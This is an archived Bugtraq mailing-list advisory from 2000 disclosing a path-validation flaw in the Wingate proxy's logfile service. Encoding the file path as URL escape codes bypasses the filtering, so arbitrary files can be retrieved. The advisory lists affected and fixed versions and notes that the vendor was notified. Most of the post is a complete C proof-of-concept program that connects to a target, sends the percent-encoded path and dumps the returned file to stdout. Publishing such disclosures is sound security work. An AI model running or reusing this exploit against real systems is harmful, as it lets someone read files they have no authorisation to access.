[17227] in bugtraq
Wingate 4.1 Beta A vulnerability
daemon@ATHENA.MIT.EDU (Blue Panda)
Mon Oct 16 12:49:23 2000
Mime-Version: 1.0
Content-Type: multipart/mixed;
boundary="----=_NextPart_000_001B_01C03796.4AF583C0"
Message-Id: <001e01c03742$7a0b3d20$0102a8c0@michael>
Date: Mon, 16 Oct 2000 17:27:00 +1000
Reply-To: Blue Panda <bluepanda@DWARF.BOX.SK>
From: Blue Panda <bluepanda@DWARF.BOX.SK>
To: BUGTRAQ@SECURITYFOCUS.COM
This is a multi-part message in MIME format.
------=_NextPart_000_001B_01C03796.4AF583C0
Content-Type: text/plain;
charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
=================================================================
Blue Panda Vulnerability Announcement: Wingate 4.1 Beta A
16/10/2000 (dd/mm/yyyy)
bluepanda@dwarf.box.sk
http://bluepanda.box.sk/
=================================================================
Details available in the attached file.
------=_NextPart_000_001B_01C03796.4AF583C0
Content-Type: text/plain;
name="wgate41a.txt"
Content-Transfer-Encoding: quoted-printable
Content-Disposition: attachment;
filename="wgate41a.txt"
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
Blue Panda Vulnerability Announcement: Wingate 4.1 Beta A
16/10/2000 (dd/mm/yyyy)
bluepanda@dwarf.box.sk
http://bluepanda.box.sk/
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
Problem:
=3D=3D=3D=3D=3D=3D=3D=3D=3D
The logfile service can be used to retrieve files unrelated to logging.
Vulnerable:
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
Wingate 4.1 Beta A
Wingate 4.0.1 (most recent stable release)
Wingate 3.0
Wingate 2.1
Prior versions may also be vulnerable, but have not been tested.
Immune:
=3D=3D=3D=3D=3D=3D=3D=3D
Wingate 4.1 Beta C
Vendor status:
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
Notified.
Details:
=3D=3D=3D=3D=3D=3D=3D=3D=3D
The logfile server allows logs to be viewed remotely via HTTP. By =
encoding
file/path portion of the URL as a series of escape codes (ie,
"%41%42%43%44"), an attacker may circumvent input validation. All files
accessable to the logging service can be retrieved by taking advantage =
of
this flaw. Files containing newlines may be corrupted.
By default, this service is bound only to 'private' interfaces (LAN =
adapters,
the loopback interface, etc). However, users who have legitimate access =
to
logs do not necessarily have legitimate access to all files available to =
the
logfile server process.
eEye Security (http://www.eeye.com/) reported that the logging server =
could
be used to retrieve files remotely in version 3.0. Unfortunately, the =
problem
was not thoroughly fixed and this simple trick allows characters to be
inserted that are not subject to input validation (escaped characters =
are
inserted _after_ checks are performed).
This vulnerability affects the latest beta version of Wingate (4.1 A) as =
well
as the most recent stable release (4.0.1). The attack has been confirmed =
to
work against Wingate 2.1 and 3.0. Other versions have not been tested. =
If you
can confirm that this problem does/does not exist in a particular =
version of
Wingate not mentioned here, please e-mail me so I can update this =
document.
The immune version (4.1 Beta C) can be obtained from
http://wingate.deerfield.com/beta/.
Proof of concept:
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
/*
wgate41a.c - Wingate 4.1 Beta A logfile service vulnerability.
Blue Panda - bluepanda@dwarf.box.sk
http://bluepanda.box.sk/
----------------------------------------------------------
Disclaimer: this file is intended as proof of concept, and
is not intended to be used for illegal purposes. I accept
no responsibility for damage incurred by the use of it.
----------------------------------------------------------
Makes a request to the Wingate logfile service in such a way that it =
will
not be subject to filtering. This can allow an attacker to retrieve =
files
irrelevant to the logging system. The file received is dumped to stdout, =
and
all other output is written to stderr. Newline characters (0x0d and =
0x0a)
will probably be screwed up by Wingate.
usage: wgate41a <host> <path/filename> [<port>]
*/
#include <stdio.h>
#include <winsock.h>
const char *USAGE =3D "usage: wgate41a <host> <path/filename> =
[<port>]\nport defaults to 8010.";
const char *ERROR_WINSOCK_INIT =3D "Error initialising winsock.";
const char *ERROR_SOCKET_CREATE =3D "Error creating socket.";
const char *ERROR_RECV =3D "Error receiving file/directory listing.";
const char *ERROR_MALLOC =3D "Error allocating memory.";
const char *WARNING_WINSOCK_CLEANUP =3D "Warning: winsock failed to =
clean up successfully.";
const int DEFAULT_PORT =3D 8010;
const int CONNECT_ERROR_NONE =3D 0;
const int CONNECT_ERROR_HOST =3D 1;
const int CONNECT_ERROR_CONNECT =3D 2;
const char *GET_REQUEST =3D "GET /";
const char *HTTP11 =3D " HTTP/1.1\x0d\x0a\x0d\x0a";
const char *END_OF_HEADERS =3D "\x0d\x0a\x0d";
#define BUF_LEN 2048
void Usage(void);
int Connect(int iSock, char *szHost, int iPort);
int InitWinsock(void);
int ShutdownWinsock(void);
void Bail(const char *szMessage);
int main(int argc, char *argv[])
{
int iPort;
int iResult;
int iSocket;
int iCounter;
char *szFile =3D NULL;
int iFileLen =3D 0;
char *szFileTemp =3D NULL;
char *szStartOfFile;
char sBuf[BUF_LEN];
if ((argc < 3) || (argc > 4)) Usage();
if (argc =3D=3D 4)
iPort =3D atoi(argv[3]);
else iPort =3D DEFAULT_PORT;
// Attempt to initialise winsock.
iResult =3D InitWinsock();
if (iResult !=3D 0)
Bail(ERROR_WINSOCK_INIT);
// Create socket.
iSocket =3D socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (iSocket =3D=3D INVALID_SOCKET)
Bail(ERROR_SOCKET_CREATE);
// Connect to target.
fprintf(stderr, "Connecting to %s:%d...", argv[1], iPort);
iResult =3D Connect(iSocket, argv[1], iPort);
if (iResult =3D=3D CONNECT_ERROR_HOST)
Bail("invalid host.");
if (iResult =3D=3D CONNECT_ERROR_CONNECT)
Bail("failed.");
fprintf(stderr, "done.\n");
// Connected. Send request.
send(iSocket, GET_REQUEST, strlen(GET_REQUEST), 0); // Begin =
request. =20
iCounter =3D 0; // File/path.
do
{
sprintf((char *)(&sBuf), "%%%x", argv[2][iCounter]);
send(iSocket, sBuf, strlen(sBuf), 0);
iCounter++;
} while((unsigned int)(iCounter) < strlen(argv[2]));
send(iSocket, HTTP11, strlen(HTTP11), 0); // Terminate request.
fprintf(stderr, "Receiving...\n");
// Receive reply.
do
{
iResult =3D recv(iSocket, (char *)(&sBuf), BUF_LEN, 0);
if (iResult > 0)
{
if (szFile !=3D NULL)
{
szFileTemp =3D (char =
*)(malloc(iFileLen));
if (szFileTemp =3D=3D NULL)
Bail(ERROR_MALLOC);
memcpy(szFileTemp, szFile, iFileLen);
free(szFile);
}
szFile =3D (char *)(malloc(iFileLen + iResult + =
1));
if (szFile =3D=3D NULL)
Bail(ERROR_MALLOC);
if (szFileTemp !=3D NULL)
{
memcpy(szFile, szFileTemp, iFileLen);
free(szFileTemp);
szFileTemp =3D NULL;
}
memcpy(szFile + iFileLen, (char *)(&sBuf), =
iResult);
iFileLen +=3D iResult;
}
else
if ((iResult =3D=3D SOCKET_ERROR) && =
(WSAGetLastError() !=3D WSAETIMEDOUT)) iResult =3D 0;
} while(iResult !=3D 0);
fprintf(stderr, "Finished. Dumping to stdout...\n");
szFile[iFileLen] =3D 0;
szStartOfFile =3D strstr(szFile, END_OF_HEADERS);
if (szStartOfFile !=3D NULL)
szStartOfFile +=3D 4;
else
{
szStartOfFile =3D szFile;
fprintf(stderr, "Warning: unable to find end of HTTP =
headers.\n");
}
if (iFileLen - (szStartOfFile - szFile) > 0)
fwrite(szStartOfFile, 1, iFileLen - (szStartOfFile - =
szFile), stdout);
else fprintf(stderr, "Warning: file blank.\n");
free(szFile);
// Attempt to shut-down winsock.
iResult =3D ShutdownWinsock();
if (iResult !=3D 0)
fprintf(stderr, "%s\n", WARNING_WINSOCK_CLEANUP);
return 0;
}
void Usage(void)
{
fprintf(stderr, "%s\n", USAGE);
exit(0);
}
int Connect(int iSock, char *szHost, int iPort)
{
SOCKADDR_IN RemoteAddress;
struct hostent *HostInfo;
int iResult;
RemoteAddress.sin_family =3D AF_INET;
RemoteAddress.sin_port =3D htons(iPort);
RemoteAddress.sin_addr.s_addr =3D inet_addr(szHost);
if (RemoteAddress.sin_addr.s_addr =3D=3D INADDR_NONE)
{
HostInfo =3D gethostbyname(szHost);
if (HostInfo =3D=3D NULL) return 1;
memcpy(&RemoteAddress.sin_addr.s_addr, HostInfo->h_addr, =
sizeof(HostInfo->h_addr));
}
iResult =3D connect(iSock, (SOCKADDR *)&RemoteAddress, =
sizeof(RemoteAddress));
if (iResult) return 2;
return 0;
}
int InitWinsock(void)
{
WSADATA WSData;
WORD WSVersion;
int iResult;
WSVersion =3D MAKEWORD(1, 1);
iResult =3D WSAStartup(WSVersion, &WSData);
return iResult;
}
int ShutdownWinsock(void)
{
int iResult;
iResult =3D WSACleanup();
return iResult;
}
void Bail(const char *szMessage)
{
fprintf(stderr, "%s\n", szMessage);
exit(1);
}
------=_NextPart_000_001B_01C03796.4AF583C0--